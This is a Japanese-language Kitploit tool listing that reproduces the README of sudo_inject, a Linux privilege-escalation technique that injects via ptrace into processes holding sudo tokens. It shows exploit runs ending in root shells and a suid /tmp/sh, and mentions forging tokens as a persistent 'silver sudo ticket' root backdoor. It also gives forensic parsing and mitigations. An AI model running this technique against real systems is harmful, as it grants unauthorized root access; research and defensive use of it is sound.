Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
sudo_inject — [Linux] sudoトークンを悪用する2つの権限昇格手法 | Kitploit
ツール/GitHubGitHub/nongiach/sudo_inject
特権昇格エクスプロイトポストエクスプロイトデジタルフォレンジックCTF学習と教育レッドチーミング
GitHubnongiach/sudo_inject

sudo_inject

[Linux] sudoトークンを悪用する2つの権限昇格手法

リポジトリを見る
7301137年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[Linux] sudoトークンを保持するプロセスへのインジェクションによる権限昇格

有効なsudoトークンを持つプロセスをインジェクションし、自分のsudoトークンを有効化する

はじめに

私たちは皆、sudoが時々パスワードを尋ねないことに気づいています。なぜなら、sudoは私たちを覚えているからです。どのようにして私たちを覚え、どのようにして私たちを識別するのでしょうか? 自分の身分を偽装してrootになれるでしょうか? 私の知る限り、この研究はまだ文書化されていませんが、もし文書化されているなら教えてください。 実際、sudoは各Linuxユーザーに対して/var/run/sudo/ts/[username]にファイルを作成します。 これらのファイルには成功した認証と失敗した認証の両方が含まれており、sudoはこれらのファイルを使って認証済みのすべてのプロセスを記憶します。 -- @chaignc

このリポジトリが提供するもの:

  • ルート権限を取得する方法(sudoトークンの悪用による)。ただし、要件があるのであまり喜ばないでください。
  • 特定のプロセス用にsudoトークンを偽造するツール(./extra_tools/内のwrite_sudo_token)。
  • フォレンジック用にsudoトークンを解析するツール(./extra_tools内のread_sudo_token_forensicおよびread_sudo_token)。
  • 任意のrootファイル書き込みを安定したrootコード実行に変換するテクニック。
  • ptraceや、対象プロセスが生存していることを必要としないエクスプロイトを作成するためのヒント。

脆弱なシステムの悪用方法

PS: 要件を読んでください!!

root@kitploit:~
$ sudo whatever
[sudo] password for user:    # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)

要件

  • Ptraceが完全に有効であること(/proc/sys/kernel/yama/ptrace_scope == 0)。
  • 現在のユーザーは、同じuidを持つ有効なsudoトークンを保持した生存中のプロセスを持っている必要があります。
root@kitploit:~
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.

警告

  • 教育目的のみ。所有していないシステムで使用しないでください。
  • 十分にテストされていないため、安定しているとは考えないでください。

舞台裏では何が起きているのか?

exploit.shは現在のユーザーが所有するすべてのシェルプロセスにインジェクションし、それらのsudoトークンを使って自分のsudoトークンを検証します。ほんの3行のシェルスクリプトです。見てみてください。

ユースケース

これは要件なしで使える汎用的な権限昇格とは程遠いですが、機能します。例えば、RCEを持っていてユーザーのパスワードを知らないが、被害者がsudoを使用している場合、彼のトークンを盗むことで簡単にrootを取得できます。

ラボでのシミュレーション方法?

root@kitploit:~
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot

2つのターミナルを起動します:

  • 1つはsudoを入力して正しいパスワードを入力する用(例: sudo ls)。
  • もう1つは上記のようにエクスプロイトを開始する用。

さらに進んで

exploit v2は/tmp/shにsuid shを作成する

exploit v1で運が悪かった人はv2を試してください

root@kitploit:~
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 -> 
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)

フォレンジック、DFIR?

出力は改善の余地がありますが、各プロセスのsudo試行は/var/run/sudo/ts/[username]に1つのエントリを持ちます。また、これらのファイルはtmpfs(RAM)に保存されます。この情報を解析してsudo試行を収集するvolatilityプラグインを書くこともできます。

root@kitploit:~
./read_sudo_token_forensic  < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000

任意書き込みからrootへ

任意書き込みが可能な場合、現在のプロセス用のsudoトークンを作成してrootコード実行を獲得できます。 extra_tools内の'./write_sudo_token $$ > /var/run/sudo/ts/[username]'を確認してください。

シルバーsudoチケット

めったに再起動しないサーバーに秘密のrootバックドアを作成する非常に良い方法です。 まだ実装されていませんが、./extra_tools内の'./write_sudo_token $$'を確認してください。

なぜ

私は死んだプロセスのsudoトークンを盗む方法を探していましたが、それは不可能に思えます。なぜなら、それらは((プロセス開始時刻 かつ プロセスセッションID) または (tty開始時刻 かつ ttyセッションID))によって関連付けられているからです。セッションID(プロセスpid)は偽装できますが、プロセス開始時刻は偽造できません。

対策方法は?

  • sudoのバージョンを更新する
  • ptraceの権限を減らす。例: /etc/sysctl.confを以下のように編集する
root@kitploit:~
kernel.yama.ptrace_scope = 1

yama ptraceスコープ

リンク

/proc/[pid]/stat の解析

Sudoトークン構造体

ptraceを使用しないLinuxベースのプロセス間コードインジェクション

プロセスを別のターミナルに移動する

https://www.linusakesson.net/programming/tty/


著者 @chaignc #HexpressoTeam.

ツールをダウンロード